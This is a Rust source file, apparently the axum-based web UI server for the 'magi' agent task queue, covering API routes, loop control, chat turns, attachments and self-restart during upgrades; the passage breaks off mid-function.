1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
321 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
324 resuming: Arc<Mutex<HashSet<String>>>,
332 repos_cache: repos::Cache,
336 machine_config: Option<PathBuf>,
340 merge: Option<String>,
342 looping: Arc<Mutex<LoopState>>,
344 launch: Launch,
356 #[cfg(test)]
359 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
360}
361
362#[cfg(test)]
382struct BusyQueueGate {
383 reached: tokio::sync::oneshot::Sender<()>,
384 release: std::sync::mpsc::Receiver<()>,
385}
386
387#[cfg(test)]
388impl std::fmt::Debug for BusyQueueGate {
389 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
390 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
391 }
392}
393
394impl Ui {
395 pub fn new(
397 queue: Queue,
398 questions: Questions,
399 talks: Talks,
400 runs: PathBuf,
401 home: PathBuf,
402 repo: PathBuf,
403 ) -> Self {
404 Self {
405 queue,
406 questions,
407 notices: Notices::at(home.join("notifications")),
408 talks,
409 runs,
410 home,
411 repo,
412 worktrees_root: run::default_worktree_root(),
416 talk_turns: Arc::default(),
417 upgrade_gate: Arc::default(),
418 upgrade_spawned: Arc::default(),
419 resuming: Arc::default(),
420 repos_cache: repos::Cache::new(),
421 machine_config: Config::machine_layer(),
422 merge: None,
423 looping: Arc::default(),
424 launch: launch_daemon,
425 #[cfg(test)]
426 busy_queue_gate: Arc::default(),
427 }
428 }
429
430 pub fn open(repo: PathBuf) -> Self {
433 Self::new(
434 Queue::open(),
435 Questions::open(),
436 Talks::open(),
437 run::runs_root(),
438 run::home(),
439 repo,
440 )
441 }
442
443 #[must_use]
450 pub fn with_merge(mut self, merge: Option<String>) -> Self {
451 self.merge = merge;
452 self
453 }
454
455 #[cfg(test)]
458 #[must_use]
459 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
460 self.machine_config = path;
461 self
462 }
463
464 #[must_use]
469 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
470 self.worktrees_root = root;
471 self
472 }
473
474 #[cfg(test)]
479 #[must_use]
480 fn with_launch(mut self, launch: Launch) -> Self {
481 self.launch = launch;
482 self
483 }
484
485 #[cfg(test)]
495 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
496 *self
497 .busy_queue_gate
498 .lock()
499 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
500 }
501
502 fn looping(&self) -> Arc<Mutex<LoopState>> {
504 Arc::clone(&self.looping)
505 }
506
507 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
514 if let Some(other) = foreign {
515 return Err(ApiError::conflict(format!(
516 "{} is already running the loop, so this one will not start a \
517 second: two loops on one queue race for the same claims and \
518 burn the agent quota twice over. Stop it where it was \
519 started.",
520 other.who()
521 )));
522 }
523 let mut state = self.lock_loop();
524 if state.live.as_ref().is_some_and(Live::alive) {
525 return Err(ApiError::conflict(format!(
526 "this magi web process (pid {}) is already running the loop",
527 std::process::id()
528 )));
529 }
530
531 let stop = daemon::Stop::new();
532 let opts = daemon::Opts {
536 repo: self.repo.clone(),
537 merge: self.merge.clone(),
538 worktrees_root: Some(self.worktrees_root.clone()),
545 ..daemon::Opts::default()
546 };
547 let launch = self.launch;
548 let looping = Arc::clone(&self.looping);
549 let handle = tokio::spawn({
550 let opts = opts.clone();
551 let stop = stop.clone();
552 async move {
553 let failure = match launch(opts, stop).await {
554 Ok(()) => None,
555 Err(e) => Some(format!("{e:#}")),
556 };
557 match &failure {
558 Some(why) => tracing::error!("the loop stopped: {why}"),
559 None => tracing::info!("the loop stopped"),
560 }
561 let mut state = lock_or_recover(&looping);
567 state.live = None;
568 state.last_error = failure;
569 state.rev += 1;
570 }
571 });
572 tracing::info!(
573 "the loop is now running in this process: repo {}, merge {}",
574 opts.repo.display(),
575 opts.merge.as_deref().unwrap_or("as the config says")
576 );
577 state.live = Some(Live { stop, handle, opts });
578 state.last_error = None;
581 state.rev += 1;
582 Ok(())
583 }
584
585 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
591 if let Some(other) = foreign {
592 return Err(ApiError::conflict(format!(
593 "the loop belongs to {}, and this process cannot stop it - \
594 stop it where it was started. A button that silently did \
595 nothing would be worse than this refusal.",
596 other.who()
597 )));
598 }
599 let mut state = self.lock_loop();
600 if !park {
603 state.resume_after_handover = false;
604 }
605 let Some(live) = state.live.as_ref() else {
606 return Ok(());
607 };
608 if live.stop.stopped() && (!park || live.stop.parking()) {
612 return Ok(());
613 }
614 if park {
615 live.stop.park();
616 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
617 } else {
618 live.stop.stop();
619 tracing::info!("the loop was asked to stop; a run in flight is finished first");
620 }
621 state.rev += 1;
622 Ok(())
623 }
624
625 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
632 let state = self.lock_loop();
633 let live = state.live.as_ref().filter(|live| live.alive());
636 LoopView {
637 running: live.is_some(),
638 stopping: live.is_some_and(|live| live.stop.finishing()),
639 parking: live.is_some_and(|live| live.stop.parking()),
640 owned: live.is_some(),
641 repo: live
642 .map_or(&self.repo, |live| &live.opts.repo)
643 .display()
644 .to_string(),
645 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
646 last_error: state.last_error.clone(),
647 daemon: DaemonView::of(reading),
648 }
649 }
650
651 fn resume_after_handover(&self, resume: bool) -> bool {
657 if !resume {
658 return false;
659 }
660 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
661 match self.start_loop(foreign) {
662 Ok(()) => true,
663 Err(e) => {
664 let why = format!(
665 "the loop could not be resumed after the upgrade: {}",
666 e.message
667 );
668 tracing::warn!("{why}");
669 let mut state = self.lock_loop();
670 state.last_error = Some(why);
671 state.rev += 1;
672 false
673 }
674 }
675 }
676
677 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
679 lock_or_recover(&self.looping)
680 }
681
682 fn is_thinking(&self, id: &str) -> bool {
688 self.talk_turns
689 .lock()
690 .is_ok_and(|turns| turns.live.contains(id))
691 || self.talks.turn_held(id)
694 }
695
696 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
715 self.claim_talk_turn(id, false)
716 }
717
718 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
721 self.claim_talk_turn(id, true)
722 }
723
724 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
725 let mut live = self
726 .talk_turns
727 .lock()
728 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
729 if live.parking {
730 if queued {
731 *live.queued.entry(id.to_owned()).or_default() += 1;
734 return Ok(None);
735 }
736 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
737 }
738 let inserted = live.live.insert(id.to_owned());
739 let lease = if inserted {
743 match self.talks.claim_turn(id) {
744 Ok(Some(lease)) => Some(lease),
745 Ok(None) => {
746 live.live.remove(id);
747 None
748 }
749 Err(e) => {
750 live.live.remove(id);
751 return Err(ApiError::from(e));
752 }
753 }
754 } else {
755 None
756 };
757 if lease.is_none() {
758 if queued {
759 *live.queued.entry(id.to_owned()).or_default() += 1;
764 }
765 return Ok(None);
766 }
767 Ok(Some(TalkTurnGuard {
768 talk: id.to_owned(),
769 turns: Arc::clone(&self.talk_turns),
770 released: false,
771 lease,
772 }))
773 }
774
775 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
780 let mut live = self
781 .talk_turns
782 .lock()
783 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
784 if live.parking || live.live.contains(id) {
786 return Ok(TalkTurnStart::Busy);
787 }
788 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
789 return Ok(TalkTurnStart::Foreign);
790 };
791 let talk = self.talks.get(id).map_err(ApiError::from)?;
793 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
794 return Ok(TalkTurnStart::Pending);
795 }
796 live.live.insert(id.to_owned());
797 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
798 talk: id.to_owned(),
799 turns: Arc::clone(&self.talk_turns),
800 released: false,
801 lease: Some(lease),
802 }))
803 }
804
805 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
807 Arc::clone(&self.talk_turns)
808 }
809
810 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
817 let parking = {
818 let mut state = self.lock_loop();
819 let resume = state.resume_after_handover
829 || state
830 .live
831 .as_ref()
832 .is_some_and(|live| live.alive() && !live.stop.stopped());
833 state.resume_after_handover = resume;
834 let Some(live) = state.live.as_ref() else {
835 return Ok(None);
836 };
837 let busy = live.stop.busy_now();
838 live.stop.park();
839 state.rev += 1;
840 busy
841 };
842 Ok(if parking {
843 daemon::current_work(&self.home, jiff::Timestamp::now())
848 .into_iter()
849 .next()
850 .map(|c| c.run)
851 } else {
852 None
853 })
854 }
855
856 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
860 let mut live = self
861 .resuming
862 .lock()
863 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
864 if !live.insert(id.to_owned()) {
865 return Err(ApiError::conflict(format!(
866 "run {id} is already being resumed"
867 )));
868 }
869 Ok(ResumeGuard {
870 run: id.to_owned(),
871 resuming: Arc::clone(&self.resuming),
872 })
873 }
874
875 pub fn router(self) -> Router {
883 Router::new()
884 .route("/", get(index))
885 .route("/app.css", get(app_css))
886 .route("/app.js", get(app_js))
887 .route("/api/health", get(health))
888 .route("/api/loop", get(loop_get).post(loop_post))
889 .route("/api/upgrade", post(upgrade_post))
890 .route("/api/runs", get(runs_list))
891 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
892 .route("/api/runs/{id}/report", get(run_report))
893 .route("/api/runs/{id}/report.json", get(run_report_json))
894 .route("/api/runs/{id}/fold", post(run_fold))
895 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
896 .route("/api/runs/{id}/resume", post(run_resume))
897 .route("/api/queue", get(queue_list))
898 .route("/api/search", get(search_get))
899 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
900 .route("/api/stats", get(stats_get))
901 .route("/api/repos", get(repos_list))
902 .route("/api/settings", get(settings_get))
903 .route("/api/settings/roles", put(settings_put_roles))
904 .route("/api/queue/{id}/hold", post(queue_hold))
905 .route("/api/queue/{id}/release", post(queue_release))
906 .route("/api/queue/{id}/priority", post(queue_priority))
907 .route("/api/queue/{id}/edit", post(queue_edit))
908 .route("/api/queue/{id}/done", post(queue_done))
909 .route("/api/questions", get(questions_list))
910 .route("/api/questions/{id}/answer", post(question_answer))
911 .route("/api/questions/{id}/say", post(question_say))
912 .route("/api/questions/{id}/consult", post(question_consult))
913 .route("/api/questions/{id}/panel", get(question_panel))
914 .route("/api/questions/{id}/panel/index.html", get(question_panel))
922 .route("/api/questions/{id}/panel/{name}", get(question_asset))
923 .route("/api/questions/{id}/asset/{name}", get(question_asset))
924 .route("/api/notifications", get(notifications_list))
925 .route("/api/notifications/read-all", post(notifications_read_all))
926 .route("/api/notifications/{id}/read", post(notification_read))
927 .route(
928 "/api/notifications/{id}/dismiss",
929 post(notification_dismiss),
930 )
931 .route("/api/talks", get(talks_list).post(talk_post))
932 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
933 .route("/api/talks/{id}/say", post(talk_say))
934 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
935 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
936 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
937 .route("/api/talks/{id}/agent", post(talk_agent))
938 .route("/api/talks/{id}/persona", post(talk_persona))
939 .route("/api/talks/{id}/close", post(talk_close))
940 .route("/api/talks/{id}/reopen", post(talk_reopen))
941 .route(
947 "/api/talks/{id}/attachments",
948 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
949 )
950 .route(
951 "/api/talks/{id}/attachments/{att}",
952 get(talk_attachment_get),
953 )
954 .route("/api/events", get(events))
955 .with_state(Arc::new(self))
956 }
957}
958
959const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
962
963#[derive(Debug)]
969struct TalkTurnGuard {
970 talk: String,
971 turns: Arc<Mutex<TalkTurns>>,
972 released: bool,
973 lease: Option<crate::talk::TurnLease>,
975}
976
977#[derive(Debug, Default)]
984struct TalkTurns {
985 live: HashSet<String>,
986 queued: HashMap<String, u64>,
987 parking: bool,
991}
992
993enum TalkTurnStart {
996 Claimed(TalkTurnGuard),
997 Busy,
998 Foreign,
1001 Pending,
1002}
1003
1004impl TalkTurnGuard {
1005 fn owns(&self) -> bool {
1009 self.lease
1010 .as_ref()
1011 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1012 }
1013
1014 async fn respond(
1017 &self,
1018 talk: &mut Talk,
1019 talks: &Talks,
1020 cfg: &Config,
1021 text: &str,
1022 ) -> anyhow::Result<()> {
1023 let lease = self
1024 .lease
1025 .as_ref()
1026 .context("the turn guard no longer holds its lease")?;
1027 talk::respond(lease, talk, talks, cfg, text).await
1028 }
1029
1030 fn release(mut self, live: &mut TalkTurns) {
1033 self.lease = None;
1037 live.live.remove(&self.talk);
1038 live.queued.remove(&self.talk);
1039 self.released = true;
1040 }
1041}
1042
1043impl Drop for TalkTurnGuard {
1044 fn drop(&mut self) {
1045 if self.released {
1046 return;
1047 }
1048 drop(self.lease.take());
1050 if let Ok(mut live) = self.turns.lock() {
1051 live.live.remove(&self.talk);
1052 live.queued.remove(&self.talk);
1053 }
1054 }
1055}
1056
1057struct ResumeGuard {
1059 run: String,
1060 resuming: Arc<Mutex<HashSet<String>>>,
1061}
1062
1063impl Drop for ResumeGuard {
1064 fn drop(&mut self) {
1065 if let Ok(mut live) = self.resuming.lock() {
1066 live.remove(&self.run);
1067 }
1068 }
1069}
1070
1071async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1081 const WINDOW: Duration = Duration::from_secs(10);
1082 const GAP: Duration = Duration::from_millis(250);
1083
1084 let deadline = std::time::Instant::now() + WINDOW;
1085 let mut said = false;
1086 loop {
1087 match tokio::net::TcpListener::bind(socket).await {
1088 Ok(listener) => return Ok(listener),
1089 Err(e)
1090 if e.kind() == std::io::ErrorKind::AddrInUse
1091 && std::time::Instant::now() < deadline =>
1092 {
1093 if !said {
1094 said = true;
1095 tracing::info!(
1096 "{socket} is still held - waiting up to {}s for it, \
1097 which is what a restart looks like from here",
1098 WINDOW.as_secs()
1099 );
1100 }
1101 tokio::time::sleep(GAP).await;
1102 }
1103 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1104 }
1105 }
1106}
1107
1108static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1111
1112const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1114
1115fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1117 value.is_some_and(|v| v == "1")
1118}
1119
1120fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1143 let exe = std::env::current_exe().context("find this binary")?;
1144 let args: Vec<String> = std::env::args().skip(1).collect();
1145 updater::log_step(
1146 home,
1147 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1148 );
1149 let log_path = home.join(WEB_LOG);
1150 let open_log = || {
1151 std::fs::create_dir_all(home)?;
1152 std::fs::OpenOptions::new()
1153 .create(true)
1154 .append(true)
1155 .open(&log_path)
1156 };
1157 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1158 Ok(pair) => (
1159 std::process::Stdio::from(pair.0),
1160 std::process::Stdio::from(pair.1),
1161 ),
1162 Err(e) => {
1163 updater::log_warn(
1164 home,
1165 &format!(
1166 "could not open {}: {e}; the successor logs nowhere",
1167 log_path.display()
1168 ),
1169 );
1170 (std::process::Stdio::null(), std::process::Stdio::null())
1171 }
1172 };
1173
1174 let mut cmd = std::process::Command::new(&exe);
1175 if resume {
1176 cmd.env(RESUME_LOOP_ENV, "1");
1177 } else {
1178 cmd.env_remove(RESUME_LOOP_ENV);
1179 }
1180 cmd.args(&args)
1181 .stdin(std::process::Stdio::null())
1182 .stdout(out)
1183 .stderr(err);
1184 #[cfg(windows)]
1185 {
1186 use std::os::windows::process::CommandExt as _;
1187 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1190 }
1191 let child = cmd.spawn().context("start the successor")?;
1192 Ok(child.id())
1193}
1194
1195const WEB_LOG: &str = "web.log";
1197
1198async fn wait_for_handover(signal: &Notify) {
1202 signal.notified().await;
1203}
1204
1205pub async fn serve(opts: Opts) -> Result<()> {
1230 let (addr, warning) = resolve_bind(&opts.bind);
1231 if let Some(warning) = warning {
1232 tracing::warn!("{warning}");
1233 }
1234
1235 report::set_color(false);
1241
1242 let repo = normalize_default_repo(opts.repo).await;
1243 let ui = Ui::open(repo).with_merge(opts.merge);
1244 let home = ui.home.clone();
1249 let repo = ui.repo.clone();
1250 updater::reconcile_after_restart(&home);
1255 updater::log_step(
1256 &home,
1257 &format!(
1258 "web process started (version {}); handover log {}, successor output {}",
1259 env!("CARGO_PKG_VERSION"),
1260 updater::log_path(&home).display(),
1261 home.join(WEB_LOG).display()
1262 ),
1263 );
1264 updater::spawn_watchdog(home.clone());
1265 tokio::spawn(run_update_recheck(repo, home.clone()));
1274 let looping = ui.looping();
1275 let turns = ui.turns();
1276 let talk_store = ui.talks.clone();
1277 let socket = SocketAddr::new(addr, opts.port);
1278 let listener = bind_waiting(socket).await?;
1279 let url = format!("http://{addr}:{}", opts.port);
1280 tracing::info!(
1281 "magi web UI on {url} - there is no authentication, so anyone who can \
1282 reach this address can file and hold tasks: the tailnet is the \
1283 security boundary"
1284 );
1285 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1286 tracing::info!("resumed the loop the predecessor was running");
1287 } else {
1288 tracing::info!(
1289 "the queue loop is not running yet - start it from the UI, which is \
1290 the whole reason this process can: nothing in the queue moves until \
1291 something is running the loop"
1292 );
1293 }
1294 if opts.open {
1295 println!("{url}");
1299 }
1300
1301 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1304 let interrupted = async {
1305 if tokio::signal::ctrl_c().await.is_err() {
1306 std::future::pending::<()>().await;
1311 }
1312 };
1313 let handover = wait_for_handover(&HANDOVER);
1314 let outcome = tokio::select! {
1315 joined = &mut served => match joined {
1316 Ok(outcome) => outcome.context("serve the web UI"),
1317 Err(e) => Err(e).context("the task serving the web UI ended"),
1318 },
1319 () = interrupted => {
1320 tracing::info!("shutting down the web UI");
1321 finish_loop(&home, &looping, None).await;
1322 Ok(())
1323 }
1324 () = handover => {
1325 updater::log_step(&home, "serve: the select! woke on the handover signal");
1326 let successor_home = home.clone();
1327 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1328 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1329 spawn_successor(&successor_home, resume)
1330 })
1331 .await
1332 }
1333 };
1334 updater::log_step(
1335 &home,
1336 &match &outcome {
1337 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1338 Err(e) => format!("serve: returning an error: {e:#}"),
1339 },
1340 );
1341 outcome
1342}
1343
1344async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1365 if repo != FsPath::new(".") {
1366 return repo;
1367 }
1368 let Ok(canonical) = repo.canonicalize() else {
1369 return repo;
1370 };
1371 if git::toplevel(&canonical).await.is_ok() {
1372 return repo;
1373 }
1374 let Some(home) = dirs::home_dir() else {
1375 return repo;
1376 };
1377 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1378 Some(found) => {
1379 tracing::info!(
1380 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1381 canonical.display(),
1382 found.path.display(),
1383 found.reason,
1384 );
1385 found.path
1386 }
1387 None => repo,
1388 }
1389}
1390
1391async fn hand_over(
1421 home: &FsPath,
1422 looping: &Mutex<LoopState>,
1423 turns: &Arc<Mutex<TalkTurns>>,
1424 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1425 served: tokio::task::JoinHandle<std::io::Result<()>>,
1426 successor: impl FnOnce(bool) -> Result<u32>,
1427) -> Result<()> {
1428 updater::log_step(home, "hand_over: entered; writing the parking stage");
1429 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1433 if !recorded {
1434 updater::log_warn(
1435 home,
1436 "hand_over: upgrade.json is unreadable; no parking stage",
1437 );
1438 }
1439 finish_loop(home, looping, Some(&mut lease)).await;
1444 let parking = ParkingTurns::begin(turns);
1445 let talks_done = finish_talks(home, turns, talk_wait);
1446 tokio::pin!(talks_done);
1447 let mut beat = tokio::time::interval(LEASE_BEAT);
1448 let (abandoned, waited_for) = loop {
1449 tokio::select! {
1450 left = &mut talks_done => break left,
1451 _ = beat.tick() => lease.beat(),
1452 }
1453 };
1454 drop(lease);
1455 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1456 served.abort();
1457 let _ = served.await;
1458 updater::log_step(home, "hand_over: listener released");
1459 let resume = lock_or_recover(looping).resume_after_handover;
1462 match updater::read_progress(home) {
1463 Some(mut progress) => {
1464 progress.advance(updater::Stage::Restarting);
1465 if !abandoned.is_empty() {
1466 progress.detail = Some(format!(
1467 "handed over while {} still running after {} s",
1468 updater::talks_phrase(&abandoned),
1469 waited_for.as_secs()
1470 ));
1471 }
1472 updater::write_progress_logged(home, &progress);
1473 }
1474 None => updater::log_warn(
1475 home,
1476 "hand_over: upgrade.json is unreadable; no restarting stage",
1477 ),
1478 }
1479 updater::log_step(
1480 home,
1481 &format!("hand_over: starting the successor (resume={resume})"),
1482 );
1483 drop(parking);
1484 match successor(resume) {
1485 Ok(pid) => {
1486 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1487 Ok(())
1488 }
1489 Err(e) => {
1490 updater::log_warn(
1491 home,
1492 &format!("hand_over: the successor did not start: {e:#}"),
1493 );
1494 Err(e)
1495 }
1496 }
1497}
1498
1499const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1502
1503const TALK_POLL: Duration = Duration::from_millis(250);
1505
1506fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1509 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1510}
1511
1512fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1517 let default = Config::default().graph.timeout_talk;
1518 let longest = ids
1519 .iter()
1520 .map(|id| {
1521 talks
1522 .get(id)
1523 .ok()
1524 .and_then(|t| Config::discover(&t.repo, None).ok())
1525 .map_or(default, |(c, _)| c.graph.timeout_talk)
1526 })
1527 .max()
1528 .unwrap_or(default);
1529 talk_wait_bound(longest)
1530}
1531
1532struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1536
1537impl ParkingTurns {
1538 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1539 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1540 Self(Arc::clone(turns))
1541 }
1542}
1543
1544impl Drop for ParkingTurns {
1545 fn drop(&mut self) {
1546 self.0
1547 .lock()
1548 .unwrap_or_else(PoisonError::into_inner)
1549 .parking = false;
1550 }
1551}
1552
1553async fn finish_talks(
1558 home: &FsPath,
1559 turns: &Mutex<TalkTurns>,
1560 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1561) -> (Vec<String>, Duration) {
1562 let running = || {
1563 let mut ids: Vec<String> = turns
1564 .lock()
1565 .unwrap_or_else(PoisonError::into_inner)
1566 .live
1567 .iter()
1568 .cloned()
1569 .collect();
1570 ids.sort();
1571 ids
1572 };
1573 let started = std::time::Instant::now();
1574 let mut seen = Vec::new();
1575 let mut bound = Duration::ZERO;
1576 loop {
1577 let ids = running();
1578 if ids != seen {
1579 bound = bound.max(bound_for(&ids));
1580 if ids.is_empty() {
1581 updater::log_step(home, "finish_talks: no chat turn is running");
1582 } else {
1583 updater::log_step(
1584 home,
1585 &format!(
1586 "finish_talks: waiting for {} to finish",
1587 updater::talks_phrase(&ids)
1588 ),
1589 );
1590 }
1591 updater::set_parked_talks(home, &ids);
1592 seen = ids;
1593 }
1594 if seen.is_empty() {
1595 return (Vec::new(), bound);
1596 }
1597 if started.elapsed() >= bound {
1598 updater::log_warn(
1599 home,
1600 &format!(
1601 "finish_talks: {} still running after {} s; handing over anyway",
1602 updater::talks_phrase(&seen),
1603 bound.as_secs()
1604 ),
1605 );
1606 return (seen, bound);
1607 }
1608 tokio::time::sleep(TALK_POLL).await;
1609 }
1610}
1611
1612const LEASE_BEAT: Duration = Duration::from_secs(20);
1615
1616async fn finish_loop(
1623 home: &FsPath,
1624 state: &Mutex<LoopState>,
1625 mut lease: Option<&mut updater::LeaseGuard>,
1626) {
1627 let live = lock_or_recover(state).live.take();
1628 let Some(live) = live else {
1629 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1630 return;
1631 };
1632 live.stop.stop();
1633 lock_or_recover(state).rev += 1;
1634 updater::log_step(
1635 home,
1636 "finish_loop: waiting for the loop to finish the run in flight",
1637 );
1638 let waited = std::time::Instant::now();
1639 let mut handle = live.handle;
1642 let mut beat = tokio::time::interval(LEASE_BEAT);
1643 loop {
1644 tokio::select! {
1645 _ = &mut handle => break,
1646 _ = beat.tick() => {
1647 if let Some(lease) = lease.as_deref_mut() {
1648 lease.beat();
1649 }
1650 }
1651 }
1652 }
1653 updater::log_step(
1654 home,
1655 &format!(
1656 "finish_loop: the loop ended after {:.1}s",
1657 waited.elapsed().as_secs_f32()
1658 ),
1659 );
1660}
1661
1662pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1668 match bind {
1669 Bind::Addr(addr) => (*addr, None),
1670 Bind::Auto => match tailscale_ip() {
1671 Ok(ip) => (IpAddr::V4(ip), None),
1672 Err(why) => (
1673 IpAddr::V4(Ipv4Addr::LOCALHOST),
1674 Some(format!(
